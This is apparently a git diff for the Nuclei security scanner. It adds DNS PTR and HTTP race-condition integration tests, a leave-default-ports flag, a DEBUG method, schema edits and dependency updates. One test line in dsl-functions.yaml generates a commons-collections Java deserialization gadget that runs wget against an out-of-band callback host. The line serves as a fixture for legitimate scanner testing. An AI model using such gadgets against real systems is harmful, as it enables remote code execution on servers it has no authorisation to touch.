diff --git a/SYNTAX-REFERENCE.md b/SYNTAX-REFERENCE.md
index c0e8941b..e55cf986 100755
--- a/SYNTAX-REFERENCE.md
+++ b/SYNTAX-REFERENCE.md
@@ -2172,6 +2172,8 @@ Enum Values:
- PATCH
- PURGE
+
+ - Debug
diff --git a/integration_tests/dns/ptr.yaml b/integration_tests/dns/ptr.yaml
new file mode 100644
index 00000000..99619470
--- /dev/null
+++ b/integration_tests/dns/ptr.yaml
@@ -0,0 +1,22 @@
+id: ptr-fingerprint
+
+info:
+ name: PTR Fingerprint
+ author: pdteam
+ severity: info
+ tags: dns,ptr
+
+dns:
+ - name: "{{FQDN}}"
+ type: PTR
+
+ matchers:
+ - type: word
+ words:
+ - "IN\tPTR"
+
+ extractors:
+ - type: regex
+ group: 1
+ regex:
+ - "IN\tPTR\t(.+)"
\ No newline at end of file
diff --git a/integration_tests/http/dsl-functions.yaml b/integration_tests/http/dsl-functions.yaml
index 8b078e8f..f52a3b80 100644
--- a/integration_tests/http/dsl-functions.yaml
+++ b/integration_tests/http/dsl-functions.yaml
@@ -14,55 +14,56 @@ requests:
02: {{base64(1234)}}
03: {{base64_decode("SGVsbG8=")}}
04: {{base64_py("Hello")}}
- 05: {{contains("Hello", "lo")}}
- 06: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
- 07: {{gzip("Hello")}}
- 08: {{hex_decode("6161")}}
- 09: {{hex_encode("aa")}}
- 10: {{html_escape("test")}}
- 11: {{html_unescape("<body>test</body>")}}
- 12: {{len("Hello")}}
- 13: {{len(5555)}}
- 14: {{md5("Hello")}}
- 15: {{md5(1234)}}
- 16: {{mmh3("Hello")}}
- 17: {{print_debug(1+2, "Hello")}}
- 18: {{rand_base(5, "abc")}}
- 19: {{rand_base(5, "")}}
- 20: {{rand_base(5)}}
- 21: {{rand_char("abc")}}
- 22: {{rand_char("")}}
- 23: {{rand_char()}}
- 24: {{rand_int(1, 10)}}
- 25: {{rand_int(10)}}
- 26: {{rand_int()}}
- 27: {{rand_text_alpha(10, "abc")}}
- 28: {{rand_text_alpha(10, "")}}
- 29: {{rand_text_alpha(10)}}
- 30: {{rand_text_alphanumeric(10, "ab12")}}
- 31: {{rand_text_alphanumeric(10)}}
- 32: {{rand_text_numeric(10, 123)}}
- 33: {{rand_text_numeric(10)}}
- 34: {{regex("H([a-z]+)o", "Hello")}}
- 35: {{remove_bad_chars("abcd", "bc")}}
- 36: {{repeat("a", 5)}}
- 37: {{replace("Hello", "He", "Ha")}}
- 38: {{replace_regex("He123llo", "(\\d+)", "")}}
- 39: {{reverse("abc")}}
- 40: {{sha1("Hello")}}
- 41: {{sha256("Hello")}}
- 42: {{to_lower("HELLO")}}
- 43: {{to_upper("hello")}}
- 44: {{trim("aaaHelloddd", "ad")}}
- 45: {{trim_left("aaaHelloddd", "ad")}}
- 46: {{trim_prefix("aaHelloaa", "aa")}}
- 47: {{trim_right("aaaHelloddd", "ad")}}
- 48: {{trim_space(" Hello ")}}
- 49: {{trim_suffix("aaHelloaa", "aa")}}
- 50: {{unix_time(10)}}
- 51: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
- 52: {{url_encode("https://projectdiscovery.io/test?a=1")}}
- 53: {{wait_for(1)}}
+ 05: {{concat("Hello", "world")}}
+ 06: {{contains("Hello", "lo")}}
+ 07: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
+ 08: {{gzip("Hello")}}
+ 09: {{hex_decode("6161")}}
+ 10: {{hex_encode("aa")}}
+ 11: {{html_escape("test")}}
+ 12: {{html_unescape("<body>test</body>")}}
+ 13: {{len("Hello")}}
+ 14: {{len(5555)}}
+ 15: {{md5("Hello")}}
+ 16: {{md5(1234)}}
+ 17: {{mmh3("Hello")}}
+ 18: {{print_debug(1+2, "Hello")}}
+ 19: {{rand_base(5, "abc")}}
+ 20: {{rand_base(5, "")}}
+ 21: {{rand_base(5)}}
+ 22: {{rand_char("abc")}}
+ 23: {{rand_char("")}}
+ 24: {{rand_char()}}
+ 25: {{rand_int(1, 10)}}
+ 26: {{rand_int(10)}}
+ 27: {{rand_int()}}
+ 28: {{rand_text_alpha(10, "abc")}}
+ 29: {{rand_text_alpha(10, "")}}
+ 30: {{rand_text_alpha(10)}}
+ 31: {{rand_text_alphanumeric(10, "ab12")}}
+ 32: {{rand_text_alphanumeric(10)}}
+ 33: {{rand_text_numeric(10, 123)}}
+ 34: {{rand_text_numeric(10)}}
+ 35: {{regex("H([a-z]+)o", "Hello")}}
+ 36: {{remove_bad_chars("abcd", "bc")}}
+ 37: {{repeat("a", 5)}}
+ 38: {{replace("Hello", "He", "Ha")}}
+ 39: {{replace_regex("He123llo", "(\\d+)", "")}}
+ 40: {{reverse("abc")}}
+ 41: {{sha1("Hello")}}
+ 42: {{sha256("Hello")}}
+ 43: {{to_lower("HELLO")}}
+ 44: {{to_upper("hello")}}
+ 45: {{trim("aaaHelloddd", "ad")}}
+ 46: {{trim_left("aaaHelloddd", "ad")}}
+ 47: {{trim_prefix("aaHelloaa", "aa")}}
+ 48: {{trim_right("aaaHelloddd", "ad")}}
+ 49: {{trim_space(" Hello ")}}
+ 50: {{trim_suffix("aaHelloaa", "aa")}}
+ 51: {{unix_time(10)}}
+ 52: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
+ 53: {{url_encode("https://projectdiscovery.io/test?a=1")}}
+ 54: {{wait_for(1)}}
extractors:
- type: regex
diff --git a/integration_tests/http/race-multiple.yaml b/integration_tests/http/race-multiple.yaml
new file mode 100644
index 00000000..89d4db9d
--- /dev/null
+++ b/integration_tests/http/race-multiple.yaml
@@ -0,0 +1,46 @@
+id: race-condition-testing
+
+info:
+ name: Race condition testing with multiple requests
+ author: pdteam
+ severity: info
+
+requests:
+ - raw:
+ - |
+ GET / HTTP/1.1
+ Host: {{Hostname}}
+
+ id=1
+
+ - |
+ GET / HTTP/1.1
+ Host: {{Hostname}}
+
+ id=2
+
+ - |
+ GET / HTTP/1.1
+ Host: {{Hostname}}
+
+ id=3
+
+ - |
+ GET / HTTP/1.1
+ Host: {{Hostname}}
+
+ id=4
+
+ - |
+ GET / HTTP/1.1
+ Host: {{Hostname}}
+
+ id=5
+
+ threads: 5
+ race: true
+
+ matchers:
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/integration_tests/http/race-simple.yaml b/integration_tests/http/race-simple.yaml
new file mode 100644
index 00000000..39a7fb91
--- /dev/null
+++ b/integration_tests/http/race-simple.yaml
@@ -0,0 +1,23 @@
+id: race-condition-testing
+
+info:
+ name: Race Condition testing
+ author: pdteam
+ severity: info
+
+requests:
+ - raw:
+ - |
+ GET / HTTP/1.1
+ Host: {{Hostname}}
+
+ test
+
+ race: true
+ race_count: 10
+
+ matchers:
+ - type: status
+ part: header
+ status:
+ - 200
\ No newline at end of file
diff --git a/nuclei-jsonschema.json b/nuclei-jsonschema.json
index f600fcc1..6e414874 100755
--- a/nuclei-jsonschema.json
+++ b/nuclei-jsonschema.json
@@ -316,7 +316,7 @@
],
"type": "string",
"title": "type of the matcher",
- "description": "Type of the matcher,enum=status,enum=size,enum=word,enum=regex,enum=binary,enum=dsl"
+ "description": "Type of the matcher"
},
"generators.AttackTypeHolder": {
"enum": [
@@ -342,7 +342,7 @@
],
"type": "string",
"title": "type of DNS request to make",
- "description": "Type is the type of DNS request to make,enum=A,enum=NS,enum=DS,enum=CNAME,enum=SOA,enum=PTR,enum=MX,enum=TXT,enum=AAAA"
+ "description": "Type is the type of DNS request to make"
},
"dns.Request": {
"properties": {
@@ -601,7 +601,7 @@
],
"type": "string",
"title": "action to perform",
- "description": "Type of actions to perform,enum=navigate,enum=script,enum=click,enum=rightclick,enum=text,enum=screenshot,enum=time,enum=select,enum=files,enum=waitload,enum=getresource,enum=extract,enum=setmethod,enum=addheader,enum=setheader,enum=deleteheader,enum=setbody,enum=waitevent,enum=keyboard,enum=debug,enum=sleep"
+ "description": "Type of actions to perform"
},
"http.HTTPMethodTypeHolder": {
"enum": [
@@ -614,11 +614,12 @@
"OPTIONS",
"TRACE",
"PATCH",
- "PURGE"
+ "PURGE",
+ "DEBUG"
],
"type": "string",
"title": "method is the HTTP request method",
- "description": "Method is the HTTP Request Method,enum=GET,enum=HEAD,enum=POST,enum=PUT,enum=DELETE,enum=CONNECT,enum=OPTIONS,enum=TRACE,enum=PATCH,enum=PURGE"
+ "description": "Method is the HTTP Request Method"
},
"http.Request": {
"properties": {
@@ -838,7 +839,7 @@
],
"type": "string",
"title": "type is the type of input data",
- "description": "description=Type of input specified in data field,enum=hex,enum=text"
+ "description": "description=Type of input specified in data field"
},
"network.Request": {
"properties": {
diff --git a/v2/cmd/integration-test/dns.go b/v2/cmd/integration-test/dns.go
index 0ba4be72..8e3b7213 100644
--- a/v2/cmd/integration-test/dns.go
+++ b/v2/cmd/integration-test/dns.go
@@ -6,6 +6,7 @@ import (
var dnsTestCases = map[string]testutils.TestCase{
"dns/basic.yaml": &dnsBasic{},
+ "dns/ptr.yaml": &dnsPtr{},
}
type dnsBasic struct{}
@@ -23,3 +24,19 @@ func (h *dnsBasic) Execute(filePath string) error {
}
return expectResultsCount(results, 1)
}
+
+type dnsPtr struct{}
+
+// Execute executes a test case and returns an error if occurred
+func (h *dnsPtr) Execute(filePath string) error {
+ var routerErr error
+
+ results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "1.1.1.1", debug)
+ if err != nil {
+ return err
+ }
+ if routerErr != nil {
+ return routerErr
+ }
+ return expectResultsCount(results, 1)
+}
diff --git a/v2/cmd/integration-test/http.go b/v2/cmd/integration-test/http.go
index a95cea55..5f7f5ae8 100644
--- a/v2/cmd/integration-test/http.go
+++ b/v2/cmd/integration-test/http.go
@@ -42,6 +42,8 @@ var httpTestcases = map[string]testutils.TestCase{
"http/get-redirects-chain-headers.yaml": &httpGetRedirectsChainHeaders{},
"http/dsl-matcher-variable.yaml": &httpDSLVariable{},
"http/dsl-functions.yaml": &httpDSLFunctions{},
+ "http/race-simple.yaml": &httpRaceSimple{},
+ "http/race-multiple.yaml": &httpRaceMultiple{},
}
type httpInteractshRequest struct{}
@@ -224,7 +226,7 @@ func (h *httpDSLFunctions) Execute(filePath string) error {
}
totalExtracted := strings.Split(submatch[1], ",")
- numberOfDslFunctions := 53
+ numberOfDslFunctions := 54
if len(totalExtracted) != numberOfDslFunctions {
return errors.New("incorrect number of results")
}
@@ -689,3 +691,39 @@ func (h *httpGetRedirectsChainHeaders) Execute(filePath string) error {
return expectResultsCount(results, 1)
}
+
+type httpRaceSimple struct{}
+
+// Execute executes a test case and returns an error if occurred
+func (h *httpRaceSimple) Execute(filePath string) error {
+ router := httprouter.New()
+ router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
+ w.WriteHeader(http.StatusOK)
+ })
+ ts := httptest.NewServer(router)
+ defer ts.Close()
+
+ results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
+ if err != nil {
+ return err
+ }
+ return expectResultsCount(results, 10)
+}
+
+type httpRaceMultiple struct{}
+
+// Execute executes a test case and returns an error if occurred
+func (h *httpRaceMultiple) Execute(filePath string) error {
+ router := httprouter.New()
+ router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
+ w.WriteHeader(http.StatusOK)
+ })
+ ts := httptest.NewServer(router)
+ defer ts.Close()
+
+ results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
+ if err != nil {
+ return err
+ }
+ return expectResultsCount(results, 5)
+}
diff --git a/v2/cmd/nuclei/main.go b/v2/cmd/nuclei/main.go
index ce022cea..2d645e69 100644
--- a/v2/cmd/nuclei/main.go
+++ b/v2/cmd/nuclei/main.go
@@ -13,6 +13,7 @@ import (
"github.com/projectdiscovery/nuclei/v2/internal/runner"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
"github.com/projectdiscovery/nuclei/v2/pkg/model/types/severity"
+ "github.com/projectdiscovery/nuclei/v2/pkg/protocols/http"
templateTypes "github.com/projectdiscovery/nuclei/v2/pkg/templates/types"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
)
@@ -157,6 +158,7 @@ on extensive configurability, massive extensibility and ease of use.`)
createGroup(flagSet, "optimization", "Optimizations",
flagSet.IntVar(&options.Timeout, "timeout", 5, "time to wait in seconds before timeout"),
flagSet.IntVar(&options.Retries, "retries", 1, "number of times to retry a failed request"),
+ flagSet.BoolVarP(&options.LeaveDefaultPorts, "leave-default-ports", "ldp", false, "Leave default HTTP/HTTPS ports (eg. host:80,host:443"),
flagSet.IntVarP(&options.MaxHostError, "max-host-error", "mhe", 30, "max errors for a host before skipping from scan"),
flagSet.BoolVar(&options.Project, "project", false, "use a project folder to avoid sending same request multiple times"),
flagSet.StringVar(&options.ProjectPath, "project-path", os.TempDir(), "set a specific project path"),
@@ -201,6 +203,10 @@ on extensive configurability, massive extensibility and ease of use.`)
_ = flagSet.Parse()
+ if options.LeaveDefaultPorts {
+ http.LeaveDefaultPorts = true
+ }
+
if cfgFile != "" {
if err := flagSet.MergeConfigFile(cfgFile); err != nil {
gologger.Fatal().Msgf("Could not read config: %s\n", err)
diff --git a/v2/go.mod b/v2/go.mod
index 92abdc5d..bccb2281 100644
--- a/v2/go.mod
+++ b/v2/go.mod
@@ -11,11 +11,11 @@ require (
github.com/blang/semver v3.5.1+incompatible
github.com/bluele/gcache v0.0.2
github.com/corpix/uarand v0.1.1
- github.com/go-playground/validator/v10 v10.9.0
+ github.com/go-playground/validator/v10 v10.10.0
github.com/go-rod/rod v0.101.8
github.com/gobwas/ws v1.1.0
github.com/google/go-github v17.0.0+incompatible
- github.com/itchyny/gojq v0.12.5
+ github.com/itchyny/gojq v0.12.6
github.com/json-iterator/go v1.1.12
github.com/julienschmidt/httprouter v1.3.0
github.com/karlseguin/ccache v2.0.3+incompatible
@@ -23,11 +23,11 @@ require (
github.com/logrusorgru/aurora v2.0.3+incompatible
github.com/miekg/dns v1.1.45
github.com/olekukonko/tablewriter v0.0.5
- github.com/owenrumney/go-sarif v1.0.11
+ github.com/owenrumney/go-sarif v1.1.1
github.com/pkg/errors v0.9.1
github.com/projectdiscovery/clistats v0.0.8
github.com/projectdiscovery/cryptoutil v0.0.0-20210805184155-b5d2512f9345
- github.com/projectdiscovery/fastdialer v0.0.13
+ github.com/projectdiscovery/fastdialer v0.0.14
github.com/projectdiscovery/filekv v0.0.0-20210915124239-3467ef45dd08
github.com/projectdiscovery/fileutil v0.0.0-20210928100737-cab279c5d4b5
github.com/projectdiscovery/goflags v0.0.8-0.20211028121123-edf02bc05b1a
@@ -43,7 +43,7 @@ require (
github.com/remeh/sizedwaitgroup v1.0.0
github.com/rs/xid v1.3.0 // indirect
github.com/segmentio/ksuid v1.0.4
- github.com/shirou/gopsutil/v3 v3.21.9
+ github.com/shirou/gopsutil/v3 v3.21.12
github.com/spaolacci/murmur3 v1.1.0
github.com/spf13/cast v1.4.1
github.com/syndtr/goleveldb v1.0.0
@@ -56,20 +56,21 @@ require (
go.uber.org/atomic v1.9.0
go.uber.org/multierr v1.7.0
go.uber.org/ratelimit v0.2.0
- golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2
+ golang.org/x/net v0.0.0-20211216030914-fe4d6282115f
golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1
golang.org/x/text v0.3.7
gopkg.in/yaml.v2 v2.4.0
moul.io/http2curl v1.0.0
)
-require github.com/aws/aws-sdk-go v1.42.3
+require github.com/aws/aws-sdk-go v1.42.37
require github.com/projectdiscovery/folderutil v0.0.0-20211206150108-b4e7ea80f36e
require (
github.com/Ice3man543/nvd v1.0.8
github.com/openrdap/rdap v0.9.1-0.20191017185644-af93e7ef17b7
+ github.com/projectdiscovery/iputil v0.0.0-20210804143329-3a30fcde43f3
github.com/stretchr/testify v1.7.0
)
@@ -77,7 +78,6 @@ require (
git.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a // indirect
github.com/Mzack9999/ldapserver v1.0.2-0.20211229000134-b44a0d6ad0dd // indirect
github.com/PuerkitoBio/goquery v1.6.0 // indirect
- github.com/StackExchange/wmi v1.2.1 // indirect
github.com/akrylysov/pogreb v0.10.1 // indirect
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751 // indirect
github.com/alecthomas/units v0.0.0-20211218093645-b94a6e3cc137 // indirect
@@ -93,7 +93,7 @@ require (
github.com/dimchansky/utfbom v1.1.1 // indirect
github.com/dsnet/compress v0.0.1 // indirect
github.com/fatih/structs v1.1.0 // indirect
- github.com/go-ole/go-ole v1.2.5 // indirect
+ github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-playground/locales v0.14.0 // indirect
github.com/go-playground/universal-translator v0.18.0 // indirect
github.com/goburrow/cache v0.1.4 // indirect
@@ -118,15 +118,16 @@ require (
github.com/leodido/go-urn v1.2.1 // indirect
github.com/libdns/libdns v0.2.1 // indirect
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 // indirect
- github.com/mattn/go-isatty v0.0.13 // indirect
+ github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
+ github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mholt/acmez v1.0.1 // indirect
github.com/mitchellh/go-homedir v1.1.0 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
+ github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e // indirect
- github.com/projectdiscovery/iputil v0.0.0-20210804143329-3a30fcde43f3 // indirect
github.com/projectdiscovery/mapcidr v0.0.8 // indirect
github.com/projectdiscovery/networkpolicy v0.0.1 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
@@ -137,7 +138,8 @@ require (
github.com/valyala/bytebufferpool v1.0.0 // indirect
github.com/yl2chen/cidranger v1.0.2 // indirect
github.com/ysmood/goob v0.3.0 // indirect
- github.com/zclconf/go-cty v1.8.4 // indirect
+ github.com/yusufpapurcu/wmi v1.2.2 // indirect
+ github.com/zclconf/go-cty v1.10.0 // indirect
go.etcd.io/bbolt v1.3.6 // indirect
go.uber.org/zap v1.20.0 // indirect
goftp.io/server/v2 v2.0.0 // indirect
diff --git a/v2/go.sum b/v2/go.sum
index a8771259..9d150064 100644
--- a/v2/go.sum
+++ b/v2/go.sum
@@ -50,7 +50,6 @@ github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAE
github.com/OneOfOne/xxhash v1.2.8/go.mod h1:eZbhyaAYD41SGSSsnmcpxVoRiQ/MPUTjUdIIOT9Um7Q=
github.com/PuerkitoBio/goquery v1.6.0 h1:j7taAbelrdcsOlGeMenZxc2AWXD5fieT1/znArdnx94=
github.com/PuerkitoBio/goquery v1.6.0/go.mod h1:GsLWisAFVj4WgDibEWF4pvYnkVQBpKBKeU+7zCJoLcc=
-github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=
github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8=
github.com/akrylysov/pogreb v0.10.0/go.mod h1:pNs6QmpQ1UlTJKDezuRWmaqkgUE2TuU0YTWyqJZ7+lI=
github.com/akrylysov/pogreb v0.10.1 h1:FqlR8VR7uCbJdfUob916tPM+idpKgeESDXOA1K0DK4w=
@@ -83,8 +82,8 @@ github.com/aphistic/sweet v0.2.0/go.mod h1:fWDlIh/isSE9n6EPsRmC0det+whmX6dJid3st
github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkEghdlcqw7yxLeM89kiTRPUo=
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
github.com/aws/aws-sdk-go v1.20.6/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
-github.com/aws/aws-sdk-go v1.42.3 h1:lBKr3tQ06m1uykiychMNKLK1bRfOzaIEQpsI/S3QiNc=
-github.com/aws/aws-sdk-go v1.42.3/go.mod h1:585smgzpB/KqRA+K3y/NL/oYRqQvpNJYvLm+LY1U59Q=
+github.com/aws/aws-sdk-go v1.42.37 h1:EIziSq3REaoi1LgUBgxoQr29DQS7GYHnBbZPajtJmXM=
+github.com/aws/aws-sdk-go v1.42.37/go.mod h1:OGr6lGMAKGlG9CVrYnWYDKIyb829c6EVBRjxqjmPepc=
github.com/aybabtme/rgbterm v0.0.0-20170906152045-cc83f3b3ce59/go.mod h1:q/89r3U2H7sSsE2t6Kca0lfwTK8JdoNGS/yzM/4iH5I=
github.com/benbjohnson/clock v1.1.0 h1:Q92kusRqC1XV2MjkWETPvjJVqKetz1OzxZB7mHJLju8=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
@@ -153,16 +152,17 @@ github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
-github.com/go-ole/go-ole v1.2.5 h1:t4MGB5xEDZvXI+0rMjjsfBsD7yAgp/s9ZDkL1JndXwY=
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
+github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
+github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-playground/assert/v2 v2.0.1 h1:MsBgLAaY856+nPRTKrp3/OZK38U/wa0CcBYNjji3q3A=
github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
github.com/go-playground/locales v0.14.0 h1:u50s323jtVGugKlcYeyzC0etD1HifMjqmJqb8WugfUU=
github.com/go-playground/locales v0.14.0/go.mod h1:sawfccIbzZTqEDETgFXqTho0QybSa7l++s0DH+LDiLs=
github.com/go-playground/universal-translator v0.18.0 h1:82dyy6p4OuJq4/CByFNOn/jYrnRPArHwAcmLoJZxyho=
github.com/go-playground/universal-translator v0.18.0/go.mod h1:UvRDBj+xPUEGrFYl+lu/H90nyDXpg0fqeB/AQUGNTVA=
-github.com/go-playground/validator/v10 v10.9.0 h1:NgTtmN58D0m8+UuxtYmGztBJB7VnPgjj221I1QHci2A=
-github.com/go-playground/validator/v10 v10.9.0/go.mod h1:74x4gJWsvQexRdW8Pn3dXSGrTK4nAUsbPlLADvpJkos=
+github.com/go-playground/validator/v10 v10.10.0 h1:I7mrTYv78z8k8VXa/qJlOlEXn/nBh+BF8dHX5nt/dr0=
+github.com/go-playground/validator/v10 v10.10.0/go.mod h1:74x4gJWsvQexRdW8Pn3dXSGrTK4nAUsbPlLADvpJkos=
github.com/go-redis/redis v6.15.5+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA=
github.com/go-rod/rod v0.91.1/go.mod h1:/W4lcZiCALPD603MnJGIvhtywP3R6yRB9EDfFfsHiiI=
github.com/go-rod/rod v0.101.8 h1:oV0O97uwjkCVyAP0hD6K6bBE8FUMIjs0dtF7l6kEBsU=
@@ -271,8 +271,8 @@ github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/itchyny/go-flags v1.5.0/go.mod h1:lenkYuCobuxLBAd/HGFE4LRoW8D3B6iXRQfWYJ+MNbA=
github.com/itchyny/gojq v0.12.4/go.mod h1:EQUSKgW/YaOxmXpAwGiowFDO4i2Rmtk5+9dFyeiymAg=
-github.com/itchyny/gojq v0.12.5 h1:6SJ1BQ1VAwJAlIvLSIZmqHP/RUEq3qfVWvsRxrqhsD0=
-github.com/itchyny/gojq v0.12.5/go.mod h1:3e1hZXv+Kwvdp6V9HXpVrvddiHVApi5EDZwS+zLFeiE=
+github.com/itchyny/gojq v0.12.6 h1:VjaFn59Em2wTxDNGcrRkDK9ZHMNa8IksOgL13sLL4d0=
+github.com/itchyny/gojq v0.12.6/go.mod h1:ZHrkfu7A+RbZLy5J1/JKpS4poEqrzItSTGDItqsfP0A=
github.com/itchyny/timefmt-go v0.1.3 h1:7M3LGVDsqcd0VZH2U+x393obrzZisp7C0uEe921iRkU=
github.com/itchyny/timefmt-go v0.1.3/go.mod h1:0osSSCQSASBJMsIZnhAaF1C2fCBTJZXrnj37mG8/c+A=
github.com/jarcoal/httpmock v1.0.4 h1:jp+dy/+nonJE4g4xbVtl9QdrUNbn6/3hDT5R4nDIZnA=
@@ -333,13 +333,16 @@ github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczG
github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 h1:wIONC+HMNRqmWBjuMxhatuSzHaljStc4gjDeKycxy0A=
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0=
+github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
+github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
-github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
+github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
@@ -384,8 +387,9 @@ github.com/onsi/gomega v1.10.5 h1:7n6FEkpFmfCoo2t+YYqXH0evK+a9ICQz0xcAy9dYcaQ=
github.com/onsi/gomega v1.10.5/go.mod h1:gza4q3jKQJijlu05nKWRCW/GavJumGt8aNRxWg7mt48=
github.com/openrdap/rdap v0.9.1-0.20191017185644-af93e7ef17b7 h1:3Xn/CN6GVY+7mVuGgt5bfp0F9JwcWqnvwfb23Jf8Vxg=
github.com/openrdap/rdap v0.9.1-0.20191017185644-af93e7ef17b7/go.mod h1:inRbqVxN7ri77yTJY3ZtGtKegIFa3Qnarh7Xp9P7LgY=
-github.com/owenrumney/go-sarif v1.0.11 h1:7k4TLSi6h3vAozSECjO0arcQoeUNDMgvA7LDac95sJo=
github.com/owenrumney/go-sarif v1.0.11/go.mod h1:hTBFbxU7GuVRUvwMx+eStp9M/Oun4xHCS3vqpPvket8=
+github.com/owenrumney/go-sarif v1.1.1 h1:QNObu6YX1igyFKhdzd7vgzmw7XsWN3/6NMGuDzBgXmE=
+github.com/owenrumney/go-sarif v1.1.1/go.mod h1:dNDiPlF04ESR/6fHlPyq7gHKmrM0sHUvAGjsoh8ZH0U=
